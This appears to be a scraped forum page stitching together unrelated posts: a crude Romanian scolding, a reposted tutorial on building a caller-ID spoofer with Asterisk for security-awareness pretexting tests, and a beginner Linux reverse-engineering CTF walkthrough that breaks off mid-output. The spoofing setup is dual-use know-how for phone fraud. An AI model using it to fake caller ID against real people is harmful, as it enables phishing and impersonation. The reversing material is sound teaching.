😦 OMG!!! Let’s be serious. There are many beautiful places to visit in cities such Sibiu, Brasov.

Trebuie sa intelegi ca sunt anumite lucruri care nu se intreaba. Daca vrei sa te informezi cu privire la acel lucru, cauta singur raspunsuri. Cu siguranta nu esti primu om de pe planeta care s-a lovit de problema ta, care nici macar nu este o problema. Si in al doilea rand, ai intrebat gresit. Sunt niste reguli de bun simt pe care ar trebui sa le urmezi in redactarea unei intrebari daca vrei sa nu fii luat la pula de oameni. Tu ai intrebat ceva de genul "cine stie Java, am ceva sa-l intreb". Adresezi intrebarea cu subiect si predicat iar daca cineva considera ca trebuie sa te ajute, o va face. Cand doresti ajutor, renunta la aroganta.

How to Build Your Own Caller ID Spoofer: Part 1 Jonathan Stines May 24, 2018 5 min read Purpose Organizations with mature security programs often test their own internal awareness programs by performing social engineering campaigns (e.g., telephone pretexting) on their personnel. These may include hiring third-party consulting companies as well as performing internal tests. These tests should strive to be as real-world as possible in order to accurately simulate a malicious actor and learn from employees’ reactions and ascertain the level of risk they pose to the organization. Spoofing telephone numbers is a real-world tactic used by malicious actors as part of phishing campaigns, so it's a helpful capability for internal security teams to have in their arsenals as they defend their organizations against this common threat. In this post, we'll explain how security professionals can build a caller ID spoofer for purposes of simulating attacks and building internal awareness. My Introduction to Asterisk Early in my penetration testing career, I was tasked with performing a wardialing modem hacking gig—the client wanted to test their telephone network for modem-related weaknesses. This was a challenge because not only did I not know anything about modem hacking, but I didn’t know anything about the wide world of telephony. Fortunately, I had about two weeks to figure it out before the job started. So I set to work learning about modem hacking, telephony, and a lot about Asterisk. Most importantly, I learned how to spoof your caller ID when wardialing—which can be used for a lot more than just prank calling your buddies. There are services that can automate this process for you—some even have mobile apps that have other features, such as call recording and voice changing. However, these services can cost upwards of 25 cents per call, which simply isn’t sustainable when we make thousands of calls per year. When we did the wardialing job with our home-grown spoofer, the bill from our SIP service provider was less than $10 for over 2,000 calls. That’s more like it! Additionally, for calls that answered, each averaged 53 seconds in order for Warvox to record and fingerprint devices, such as modems, faxes, or angry security guards. I’m certainly not a PBX or telephony expert, nor do I have a background managing Asterisk, but I am good at hammering on stuff until it seems to work. Hopefully this will help folks in the industry to overcome some of the challenges I’ve faced. So here’s how you can build your own caller ID spoofer. SIP (Session Initiation Protocol) –The de facto standard for VoIP communication, used for initial authentication and negotiations when making connections. RTP (Real-Time Transport Protocol) – Chatty, used to transmit audio after authentication and negotiations. IAX (Inter-Asterisk Exchange) – Legacy, less chatty, must have trunk to convert from IAX to SIP service provider. DISA (Direct Inward System Access) – This is sort of like VPN’ing to your internal system, so you can dial internal extensions. DID (Direct Inward Dialing) – This is the telephone number assigned by your service provider. Analogous to an external IP address, but for telephony. Setting up Asterisk You need to setup your Asterisk server to where it can be accessible—ideally an external IP. However, internally NAT’ed will work if you plan on VPN’ing in and using a softphone or using port forwarding. FreePBX is available as an AWS AMI image, so that’s the route that I took. The specifications can be run in the free tier and Elastic computing will run you approximately $10 a month depending on utilization of the PBX and, if you’re like me, leave it powered on all the time. Once you have your FreePBX VM up and running here’s what you want to do: Open: SIP TCP/UDP 5060 to Service Provider (discussed in next step) RTP UDP 10000-20000 to your public IP address Settings → Asterisk SIP Settings Ensure external Address and Local Networks are accurate Ensure ulaw, alaw, gsm, g726 codec checkboxes are ticked Choosing a Provider and Setting up a Trunk There are many providers out there. When choosing one, I’d say go off the quality of their website. If they have a portal where you can create requests for trunks, DIDs, specify your IP for their firewalling, etc., that’s a bonus. I went with my provider because they supported me with IAX when I was doing wardialing and seemed to have good customer service. Once you’ve chosen your provider, you’ll need to setup your SIP trunk in Asterisk: Connectivity → Trunks → Add Trunk Click Add SIP (chan_sip) Trunk Set your Trunk Name Set Dialed number manipulation rules 1 + NXXNXXXXXX 1NXXNXXXXXX Set your trunk name Set up peer details Set User Context and User Details ‘Host’ and ‘FromDomain’ is provided by the service provider, often under the support section of their website On the service provider’s website, you’ll need to create the SIP trunk and specify your external IP address to allow inbound connection on their side. Here’s an example of what mine looks like: Setting up a SIP Extension In order to dial into your Asterisk, you’ll first need to create some sort of unique identifier for the external DISA to hand off to the internal PBX. With Asterisk, extensions function the same as usernames. Applications → Extensions → Add Extension Select the default, “Generic CHAN SIP Device” Display name is the username and should be numeric (e.g., 4 digits) Outbound CID is the caller ID, customize however you’d like Note: This is how you’d manually set your caller ID. For the time being, it can be arbitrarily set to whatever you’d like as it’ll later be changed through a configuration file. Outbound Concurrency Limit is number of outbound calls that can be made concurrently with that extension. If multiple people will be making calls, you’ll want to make sure this number accommodates everyone. Set a password for the extension, everything else can be kept default. Interacting with Asterisk with Zoiper Now, we’ve created a SIP trunk, configured it with our VoIP service provider, and set up an extension and password. Now we can use a softphone in order to dial out using our Asterisk. You’ll first need to download Linphone softphone. It can be installed on Windows, Mac, and Linux: http://www.linphone.org/ Once you have Linphone installed, open the program and click “Account Assistant”: Next, we’ll click “Use a SIP Account”: Using the extension we previously created, we will then login to Asterisk. If you’ve installed Asterisk on an externally facing VPS you’ll use the IP address. Otherwise, you’ll need to ensure you’ve setup port forwarding to your internal Asterisk server for SIP and RTP. Enter in the username (extension), public IP of your Asterisk, and the password configured for the extension, leaving everything else as default: After clicking “Use”, you’ll be brought back to the Linphone home screen. Click the upper left corner to be presented with your Linphone accounts: You will then select your newly created SIP account we registered with our Asterisk. You can then make calls with the Linphone client using our Asterisk server by entering the destination telephone number in the text box at the top of the program. That is it for Part 1 of the blog series. We have talked about how this project kicked off, how to setup Asterisk, how to configure Asterisk to spoof a source telephone number, and how to use a softphone client in order to interact with your Asterisk server. In the next post, we’ll delve in to creating a customized extension configuration and automation so Caller IDs can be spoofed on the fly. Sursa: https://blog.rapid7.com/2018/05/24/how-to-build-your-own-caller-id-spoofer-part-1/

Pentru cei interesati, partea a 2-a: https://blog.rapid7.com/2018/07/12/how-to-build-your-own-caller-id-spoofer-part-2/ Multumiri Nytro pentru link

STAI NU STERGE POZELE CU MAMICA-TA INCA

Linux Reverse Engineering CTFs for Beginners After a while, I decided a write a short blog post about Linux binary reversing CTFs in general. How to approach a binary and solving for beginners. I personally am not a fan of Linux reverse engineering challenges in general, since I focus more time on Windows reversing. I like windows reverse engineering challenges more. A reason me liking Windows is as a pentester daily I encounter Windows machines and it’s so rare I come across an entire network running Linux. Even when it comes to exploit development it’s pretty rare you will manually develop an exploit for a Linux software while pentesting. But this knowledge is really useful when it comes to IoT, since almost many devices are based on Linux embedded. If you want to begin reverse engineering and exploit development starting from Linux would be a good idea. I too started from Linux many years ago. Saying that since some people when they see a reverse engineering challenge they try to run away. So if you are a newbie I hope this content might be useful for you to begin with. The ELF Format Let’s first have a look at the ELF headers. The best way to learn more about this in detail is to check the man pages for ELF. Here’s in more detail. The “e_shoff” member holds the offset to the section header table. The “sh_offset” member holds the address to the section’s first byte. +-------------------+ | ELF header |---+ +---------> +-------------------+ | e_shoff | | |<--+ | Section | Section header 0 | | | |---+ sh_offset | Header +-------------------+ | | | Section header 1 |---|--+ sh_offset | Table +-------------------+ | | | | Section header 2 |---|--|--+ +---------> +-------------------+ | | | | Section 0 |<--+ | | +-------------------+ | | sh_offset | Section 1 |<-----+ | +-------------------+ | | Section 2 |<--------+ +-------------------+ Executable Header Any ELF file starts with an executable header. This contains information about which type of an ELF file, the offsets to different headers. Everything is self-explanatory if you look at the comments. For this example, I am using 32-bit structures. For x86_64 the sizes may change and the naming convention would start with “Elf64_”. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #define EI_NIDENT (16) typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; This is an example using readelf. # readelf -h /bin/ls ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x6130 Start of program headers: 64 (bytes into file) Start of section headers: 137000 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 11 Size of section headers: 64 (bytes) Number of section headers: 29 Section header string table index: 28 To calculate the size of the entire binary we can use the following calculation size = e_shoff + (e_shnum * e_shentsize) size = Start of section headers + (Number of section headers * Size of section headers) size = 137000 + (29*64) = 138856 As you can see our calculation is correct. # ls -l /bin/ls -rwxr-xr-x 1 root root 138856 Aug 29 21:20 /bin/ls Program Headers These headers describe the segments of the binary which important for the loading of the binary. This information is useful for the kernel to map the segments to memory from disk. The members of the structure are self-explanatory. I won’t be explaining in depth about this for this post as I try to keep things basic. However, every section is important to understand in doing cool things in reverse engineering in ELF 1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags */ Elf32_Word p_align; /* Segment alignment */ } Elf32_Phdr; Section Headers These headers contain the information for the binary’s segments. It references the size, location for linking and debugging purposes. These headers are not really important for the execution flow of the binary. In some cases, this is stripped and tools like gdb, objdump are useless as they rely on these headers to locate symbol information. 1 2 3 4 5 6 7 8 9 10 11 12 typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; Sections As any binary, these are the sections. Some sections are familiar with the PE’s headers. However, I won’t be discussing all the sections as I try to keep it basic. .bss Section This section contains the program’s uninitialized global data. .data Section This section contains the program’s initialized global variables. .rodata Section This section contains read-only data such as strings of the program used. .text Section This section contains the program’s actual code, the logic flow. # readelf -S --wide /bin/ls There are 29 section headers, starting at offset 0x21728: Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al [ 0] NULL 0000000000000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00000000000002a8 0002a8 00001c 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 00000000000002c4 0002c4 000020 00 A 0 0 4 [ 3] .note.gnu.build-id NOTE 00000000000002e4 0002e4 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000000308 000308 0000c0 00 A 5 0 8 [ 5] .dynsym DYNSYM 00000000000003c8 0003c8 000c90 18 A 6 1 8 [ 6] .dynstr STRTAB 0000000000001058 001058 0005d8 00 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000001630 001630 00010c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000001740 001740 000070 00 A 6 1 8 [ 9] .rela.dyn RELA 00000000000017b0 0017b0 001350 18 A 5 0 8 [10] .rela.plt RELA 0000000000002b00 002b00 0009f0 18 AI 5 24 8 [11] .init PROGBITS 0000000000004000 004000 000017 00 AX 0 0 4 [12] .plt PROGBITS 0000000000004020 004020 0006b0 10 AX 0 0 16 [13] .plt.got PROGBITS 00000000000046d0 0046d0 000018 08 AX 0 0 8 [14] .text PROGBITS 00000000000046f0 0046f0 01253e 00 AX 0 0 16 [15] .fini PROGBITS 0000000000016c30 016c30 000009 00 AX 0 0 4 [16] .rodata PROGBITS 0000000000017000 017000 005129 00 A 0 0 32 [17] .eh_frame_hdr PROGBITS 000000000001c12c 01c12c 0008fc 00 A 0 0 4 [18] .eh_frame PROGBITS 000000000001ca28 01ca28 002ed0 00 A 0 0 8 [19] .init_array INIT_ARRAY 0000000000021390 020390 000008 08 WA 0 0 8 [20] .fini_array FINI_ARRAY 0000000000021398 020398 000008 08 WA 0 0 8 [21] .data.rel.ro PROGBITS 00000000000213a0 0203a0 000a38 00 WA 0 0 32 [22] .dynamic DYNAMIC 0000000000021dd8 020dd8 0001f0 10 WA 6 0 8 [23] .got PROGBITS 0000000000021fc8 020fc8 000038 08 WA 0 0 8 [24] .got.plt PROGBITS 0000000000022000 021000 000368 08 WA 0 0 8 [25] .data PROGBITS 0000000000022380 021380 000268 00 WA 0 0 32 [26] .bss NOBITS 0000000000022600 0215e8 0012d8 00 WA 0 0 32 [27] .gnu_debuglink PROGBITS 0000000000000000 0215e8 000034 00 0 0 4 [28] .shstrtab STRTAB 0000000000000000 02161c 00010a 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), l (large), p (processor specific) Solving a Basic CTF Challenge Now that you have a basic understanding about the headers, let’s pick a random challenge CTF and explire. Download the binary from here. When we pass in some random string we get [+] No flag for you. [+] text displayed. # ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaa [+] No flag for you. [+] Strings Let’s start by having a look at strings and see any interesting strings. # strings nix_5744af788e6cbdb29bb41e8b0e5f3cd5 /lib/ld-linux.so.2 Mw1i#'0 libc.so.6 _IO_stdin_used exit sprintf puts strlen __cxa_finalize __libc_start_main GLIBC_2.1.3 Y[^] [^_] UWVS [^_] Usage: script.exe <key> Length of argv[1] too long. [+] The flag is: SAYCURE{%s} [+] [+] No flag for you. [+] %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c ;*2$" GCC: (Debian 8.2.0-8) 8.2.0 crtstuff.c We found all the strings printed out from the binary. The “%c” is the format string where our flag gets printed, we can determine the flag must be of 15 characters. Usage: script.exe Length of argv[1] too long. [+] The flag is: SAYCURE{%s} [+] [+] No flag for you. [+] %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c We can get a better view of these strings if we look at the ‘.rodata’ section with the offsets. # readelf -x .rodata nix_5744af788e6cbdb29bb41e8b0e5f3cd5 Hex dump of section '.rodata': 0x00002000 03000000 01000200 55736167 653a2073 ........Usage: s 0x00002010 63726970 742e6578 65203c6b 65793e00 cript.exe <key>. 0x00002020 4c656e67 7468206f 66206172 67765b31 Length of argv[1 0x00002030 5d20746f 6f206c6f 6e672e00 5b2b5d20 ] too long..[+] 0x00002040 54686520 666c6167 2069733a 20534159 The flag is: SAY 0x00002050 43555245 7b25737d 205b2b5d 0a000a5b CURE{%s} [+]...[ 0x00002060 2b5d204e 6f20666c 61672066 6f722079 +] No flag for y 0x00002070 6f752e20 5b2b5d00 25632563 25632563 ou. [+].%c%c%c%c 0x00002080 25632563 25632563 25632563 25632563 %c%c%c%c%c%c%c%c 0x00002090 25632563 256300 %c%c%c. Checking for Symbols By checking the symbols of the binary we can realize it uses printf, puts, sprintf, strlen functions. # nm -D nix_5744af788e6cbdb29bb41e8b0e5f3cd5 w __cxa_finalize U exit w __gmon_start__ 00002004 R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable U __libc_start_main U printf U puts U sprintf U strlen Tracing System Calls We can use tools such as strace to trace the system calls used by the program. # strace ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaa execve("./nix_5744af788e6cbdb29bb41e8b0e5f3cd5", ["./nix_5744af788e6cbdb29bb41e8b0e"..., "aaaa"], 0x7ffd5ff92d18 /* 46 vars */) = 0 strace: [ Process PID=59965 runs in 32 bit mode. ] brk(NULL) = 0x56f14000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7ef0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=220471, ...}) = 0 mmap2(NULL, 220471, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7eba000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \233\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1930924, ...}) = 0 mmap2(NULL, 1940000, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7ce0000 mprotect(0xf7cf9000, 1814528, PROT_NONE) = 0 mmap2(0xf7cf9000, 1359872, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19000) = 0xf7cf9000 mmap2(0xf7e45000, 450560, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x165000) = 0xf7e45000 mmap2(0xf7eb4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d3000) = 0xf7eb4000 mmap2(0xf7eb7000, 10784, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7eb7000 close(3) = 0 set_thread_area({entry_number=-1, base_addr=0xf7ef10c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12) mprotect(0xf7eb4000, 8192, PROT_READ) = 0 mprotect(0x5664d000, 4096, PROT_READ) = 0 mprotect(0xf7f1e000, 4096, PROT_READ) = 0 munmap(0xf7eba000, 220471) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0 brk(NULL) = 0x56f14000 brk(0x56f35000) = 0x56f35000 brk(0x56f36000) = 0x56f36000 write(1, "\n", 1 ) = 1 write(1, "[+] No flag for you. [+]\n", 25[+] No flag for you. [+] ) = 25 exit_group(26) = ? +++ exited with 26 +++ To get a better understanding, we can use ltrace to trace the library calls made by demangling C++ function names. We can see there is a string length check being done. # ltrace -i -C ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaaaaaa [0x565570e1] __libc_start_main(0x565571e9, 2, 0xffe3a584, 0x56557400 <unfinished ...> [0x56557249] strlen("aaaaaaaa") = 8 [0x565572ca] puts("\n[+] No flag for you. [+]" [+] No flag for you. [+] ) = 26 [0xffffffffffffffff] +++ exited (status 26) +++ Disassembling the Text Section Let’s have a look at the .text section’s disassembly and try to understand. In this binary the symbols are not stripped so we can see the function names which makes it easier to understand. If you can read assembly by now you will have figure out what is happening. If not let’s do some live debugging and try to understand better. root@Omega:/mnt/hgfs/shared/Linux RE# objdump -D -M intel -j .text nix_5744af788e6cbdb29bb41e8b0e5f3cd5 nix_5744af788e6cbdb29bb41e8b0e5f3cd5: file format elf32-i386 Disassembly of section .text: 000010b0 <_start>: 10b0: 31 ed xor ebp,ebp 10b2: 5e pop esi 10b3: 89 e1 mov ecx,esp 10b5: 83 e4 f0 and esp,0xfffffff0 10b8: 50 push eax 10b9: 54 push esp 10ba: 52 push edx 10bb: e8 22 00 00 00 call 10e2 <_start+0x32> 10c0: 81 c3 40 2f 00 00 add ebx,0x2f40 10c6: 8d 83 60 d4 ff ff lea eax,[ebx-0x2ba0] 10cc: 50 push eax 10cd: 8d 83 00 d4 ff ff lea eax,[ebx-0x2c00] 10d3: 50 push eax 10d4: 51 push ecx 10d5: 56 push esi 10d6: ff b3 f8 ff ff ff push DWORD PTR [ebx-0x8] 10dc: e8 9f ff ff ff call 1080 <__libc_start_main@plt> 10e1: f4 hlt 10e2: 8b 1c 24 mov ebx,DWORD PTR [esp] 10e5: c3 ret 10e6: 66 90 xchg ax,ax 10e8: 66 90 xchg ax,ax 10ea: 66 90 xchg ax,ax 10ec: 66 90 xchg ax,ax 10ee: 66 90 xchg ax,ax ... Output Omitted ... 000011e9 <main>: 11e9: 8d 4c 24 04 lea ecx,[esp+0x4] 11ed: 83 e4 f0 and esp,0xfffffff0 11f0: ff 71 fc push DWORD PTR [ecx-0x4] 11f3: 55 push ebp 11f4: 89 e5 mov ebp,esp 11f6: 56 push esi 11f7: 53 push ebx 11f8: 51 push ecx 11f9: 83 ec 1c sub esp,0x1c 11fc: e8 ef fe ff ff call 10f0 <__x86.get_pc_thunk.bx> 1201: 81 c3 ff 2d 00 00 add ebx,0x2dff 1207: 89 ce mov esi,ecx 1209: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0 1210: c7 45 dc 07 00 00 00 mov DWORD PTR [ebp-0x24],0x7 1217: 83 3e 02 cmp DWORD PTR [esi],0x2 121a: 74 1c je 1238 <main+0x4f> 121c: 83 ec 0c sub esp,0xc 121f: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8] 1225: 50 push eax 1226: e8 15 fe ff ff call 1040 <printf@plt> 122b: 83 c4 10 add esp,0x10 122e: 83 ec 0c sub esp,0xc 1231: 6a 01 push 0x1 1233: e8 28 fe ff ff call 1060 <exit@plt> 1238: 8b 46 04 mov eax,DWORD PTR [esi+0x4] 123b: 83 c0 04 add eax,0x4 123e: 8b 00 mov eax,DWORD PTR [eax] 1240: 83 ec 0c sub esp,0xc 1243: 50 push eax 1244: e8 27 fe ff ff call 1070 <strlen@plt> 1249: 83 c4 10 add esp,0x10 124c: 83 f8 0f cmp eax,0xf 124f: 76 1c jbe 126d <main+0x84> 1251: 83 ec 0c sub esp,0xc 1254: 8d 83 20 e0 ff ff lea eax,[ebx-0x1fe0] 125a: 50 push eax 125b: e8 f0 fd ff ff call 1050 <puts@plt> 1260: 83 c4 10 add esp,0x10 1263: 83 ec 0c sub esp,0xc 1266: 6a 01 push 0x1 1268: e8 f3 fd ff ff call 1060 <exit@plt> 126d: c7 45 e0 00 00 00 00 mov DWORD PTR [ebp-0x20],0x0 1274: eb 1a jmp 1290 <main+0xa7> 1276: 8b 46 04 mov eax,DWORD PTR [esi+0x4] 1279: 83 c0 04 add eax,0x4 127c: 8b 10 mov edx,DWORD PTR [eax] 127e: 8b 45 e0 mov eax,DWORD PTR [ebp-0x20] 1281: 01 d0 add eax,edx 1283: 0f b6 00 movzx eax,BYTE PTR [eax] 1286: 0f be c0 movsx eax,al 1289: 01 45 e4 add DWORD PTR [ebp-0x1c],eax 128c: 83 45 e0 01 add DWORD PTR [ebp-0x20],0x1 1290: 8b 45 e0 mov eax,DWORD PTR [ebp-0x20] 1293: 3b 45 dc cmp eax,DWORD PTR [ebp-0x24] 1296: 7c de jl 1276 <main+0x8d> 1298: 81 7d e4 21 03 00 00 cmp DWORD PTR [ebp-0x1c],0x321 129f: 75 1a jne 12bb <main+0xd2> 12a1: e8 33 00 00 00 call 12d9 <comp_key> 12a6: 83 ec 08 sub esp,0x8 12a9: 50 push eax 12aa: 8d 83 3c e0 ff ff lea eax,[ebx-0x1fc4] 12b0: 50 push eax 12b1: e8 8a fd ff ff call 1040 <printf@plt> 12b6: 83 c4 10 add esp,0x10 12b9: eb 12 jmp 12cd <main+0xe4> 12bb: 83 ec 0c sub esp,0xc 12be: 8d 83 5e e0 ff ff lea eax,[ebx-0x1fa2] 12c4: 50 push eax 12c5: e8 86 fd ff ff call 1050 <puts@plt> 12ca: 83 c4 10 add esp,0x10 12cd: 90 nop 12ce: 8d 65 f4 lea esp,[ebp-0xc] 12d1: 59 pop ecx 12d2: 5b pop ebx 12d3: 5e pop esi 12d4: 5d pop ebp 12d5: 8d 61 fc lea esp,[ecx-0x4] 12d8: c3 ret 000012d9 <comp_key>: 12d9: 55 push ebp 12da: 89 e5 mov ebp,esp 12dc: 57 push edi 12dd: 56 push esi 12de: 53 push ebx 12df: 83 ec 7c sub esp,0x7c 12e2: e8 09 fe ff ff call 10f0 <__x86.get_pc_thunk.bx> 12e7: 81 c3 19 2d 00 00 add ebx,0x2d19 12ed: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0 12f4: c7 45 a8 4c 00 00 00 mov DWORD PTR [ebp-0x58],0x4c 12fb: c7 45 ac 33 00 00 00 mov DWORD PTR [ebp-0x54],0x33 1302: c7 45 b0 74 00 00 00 mov DWORD PTR [ebp-0x50],0x74 1309: c7 45 b4 73 00 00 00 mov DWORD PTR [ebp-0x4c],0x73 1310: c7 45 b8 5f 00 00 00 mov DWORD PTR [ebp-0x48],0x5f 1317: c7 45 bc 67 00 00 00 mov DWORD PTR [ebp-0x44],0x67 131e: c7 45 c0 33 00 00 00 mov DWORD PTR [ebp-0x40],0x33 1325: c7 45 c4 74 00 00 00 mov DWORD PTR [ebp-0x3c],0x74 132c: c7 45 c8 5f 00 00 00 mov DWORD PTR [ebp-0x38],0x5f 1333: c7 45 cc 69 00 00 00 mov DWORD PTR [ebp-0x34],0x69 133a: c7 45 d0 6e 00 00 00 mov DWORD PTR [ebp-0x30],0x6e 1341: c7 45 d4 32 00 00 00 mov DWORD PTR [ebp-0x2c],0x32 1348: c7 45 d8 5f 00 00 00 mov DWORD PTR [ebp-0x28],0x5f 134f: c7 45 dc 52 00 00 00 mov DWORD PTR [ebp-0x24],0x52 1356: c7 45 e0 33 00 00 00 mov DWORD PTR [ebp-0x20],0x33 135d: 8b 55 e0 mov edx,DWORD PTR [ebp-0x20] 1360: 8b 75 dc mov esi,DWORD PTR [ebp-0x24] 1363: 8b 45 d8 mov eax,DWORD PTR [ebp-0x28] 1366: 89 45 a4 mov DWORD PTR [ebp-0x5c],eax 1369: 8b 4d d4 mov ecx,DWORD PTR [ebp-0x2c] 136c: 89 4d a0 mov DWORD PTR [ebp-0x60],ecx 136f: 8b 7d d0 mov edi,DWORD PTR [ebp-0x30] 1372: 89 7d 9c mov DWORD PTR [ebp-0x64],edi 1375: 8b 45 cc mov eax,DWORD PTR [ebp-0x34] 1378: 89 45 98 mov DWORD PTR [ebp-0x68],eax 137b: 8b 4d c8 mov ecx,DWORD PTR [ebp-0x38] 137e: 89 4d 94 mov DWORD PTR [ebp-0x6c],ecx 1381: 8b 7d c4 mov edi,DWORD PTR [ebp-0x3c] 1384: 89 7d 90 mov DWORD PTR [ebp-0x70],edi 1387: 8b 45 c0 mov eax,DWORD PTR [ebp-0x40] 138a: 89 45 8c mov DWORD PTR [ebp-0x74],eax 138d: 8b 4d bc mov ecx,DWORD PTR [ebp-0x44] 1390: 89 4d 88 mov DWORD PTR [ebp-0x78],ecx 1393: 8b 7d b8 mov edi,DWORD PTR [ebp-0x48] 1396: 89 7d 84 mov DWORD PTR [ebp-0x7c],edi 1399: 8b 45 b4 mov eax,DWORD PTR [ebp-0x4c] 139c: 89 45 80 mov DWORD PTR [ebp-0x80],eax 139f: 8b 7d b0 mov edi,DWORD PTR [ebp-0x50] 13a2: 8b 4d ac mov ecx,DWORD PTR [ebp-0x54] 13a5: 8b 45 a8 mov eax,DWORD PTR [ebp-0x58] 13a8: 83 ec 0c sub esp,0xc 13ab: 52 push edx 13ac: 56 push esi 13ad: ff 75 a4 push DWORD PTR [ebp-0x5c] 13b0: ff 75 a0 push DWORD PTR [ebp-0x60] 13b3: ff 75 9c push DWORD PTR [ebp-0x64] 13b6: ff 75 98 push DWORD PTR [ebp-0x68] 13b9: ff 75 94 push DWORD PTR [ebp-0x6c] 13bc: ff 75 90 push DWORD PTR [ebp-0x70] 13bf: ff 75 8c push DWORD PTR [ebp-0x74] 13c2: ff 75 88 push DWORD PTR [ebp-0x78] 13c5: ff 75 84 push DWORD PTR [ebp-0x7c] 13c8: ff 75 80 push DWORD PTR [ebp-0x80] 13cb: 57 push edi 13cc: 51 push ecx 13cd: 50 push eax 13ce: 8d 83 78 e0 ff ff lea eax,[ebx-0x1f88] 13d4: 50 push eax 13d5: 8d 83 30 00 00 00 lea eax,[ebx+0x30] 13db: 50 push eax 13dc: e8 af fc ff ff call 1090 <sprintf@plt> 13e1: 83 c4 50 add esp,0x50 13e4: 8d 83 30 00 00 00 lea eax,[ebx+0x30] 13ea: 8d 65 f4 lea esp,[ebp-0xc] 13ed: 5b pop ebx 13ee: 5e pop esi 13ef: 5f pop edi 13f0: 5d pop ebp 13f1: c3 ret 13f2: 66 90 xchg ax,ax 13f4: 66 90 xchg ax,ax 13f6: 66 90 xchg ax,ax 13f8: 66 90 xchg ax,ax 13fa: 66 90 xchg ax,ax 13fc: 66 90 xchg ax,ax 13fe: 66 90 xchg ax,ax ... Output Omitted ... Debugging Live I will use GDB-Peda for this which makes it easier to understand. Let’s first check the functions in the binary. We can see functions such as main, comp_key gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x00001000 _init 0x00001040 printf@plt 0x00001050 puts@plt 0x00001060 exit@plt 0x00001070 strlen@plt 0x00001080 __libc_start_main@plt 0x00001090 sprintf@plt 0x000010a0 __cxa_finalize@plt 0x000010a8 __gmon_start__@plt 0x000010b0 _start 0x000010f0 __x86.get_pc_thunk.bx 0x00001100 deregister_tm_clones 0x00001140 register_tm_clones 0x00001190 __do_global_dtors_aux 0x000011e0 frame_dummy 0x000011e5 